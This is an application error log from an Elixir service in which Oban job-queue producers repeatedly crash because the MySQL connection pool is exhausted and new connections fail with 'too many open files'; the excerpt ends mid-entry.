[Sat Sep  5 23:00:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:00:17.241777Z], limit: 10, uuid: "486827b8-7857-47eb-9f71-7f7bdcd6eaf8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:17.241783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.102311>, refresh_timer: #Reference<0.2525715032.1068236804.248356>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:30.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:00:17.242804Z], limit: 20, uuid: "b924c6ee-6874-4bc6-85ee-9535cccfdab9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:17.242809Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.102308>, refresh_timer: #Reference<0.2525715032.1121189889.102285>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:30.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:00:17.239370Z], limit: 3, uuid: "fc3bd676-0a6f-49be-bb68-d398d81429ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:17.239427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.102312>, refresh_timer: #Reference<0.2525715032.1068236804.248337>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:30.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:00:17.241777Z], limit: 5, uuid: "df6ec490-db83-48f0-8c41-6b16a6267fcc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:17.241783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.102309>, refresh_timer: #Reference<0.2525715032.1099169794.256938>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:31.565000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:33.449000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:34.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:37.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:39.384000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:00:30.241655Z], limit: 50, uuid: "749897f3-6457-4640-b749-2500bdb5a1a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:30.241662Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257193>, refresh_timer: #Reference<0.2525715032.1121189889.102476>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:00:30.243916Z], limit: 10, uuid: "3b58d9df-523e-4313-b27f-b818fe9afc50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:30.243922Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257192>, refresh_timer: #Reference<0.2525715032.1121189889.102490>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:00:30.245154Z], limit: 20, uuid: "028cefcf-e292-4810-a31d-699c77738505", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:30.245159Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257227>, refresh_timer: #Reference<0.2525715032.1099169794.257201>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:00:30.246261Z], limit: 3, uuid: "b6250021-0418-4792-bc1b-5b7e2775f4d4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:30.246266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257228>, refresh_timer: #Reference<0.2525715032.1121189889.102533>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:42.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:00:30.251080Z], limit: 5, uuid: "f3442788-36f8-4fa7-85cc-91ded6c58782", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:30.251086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: 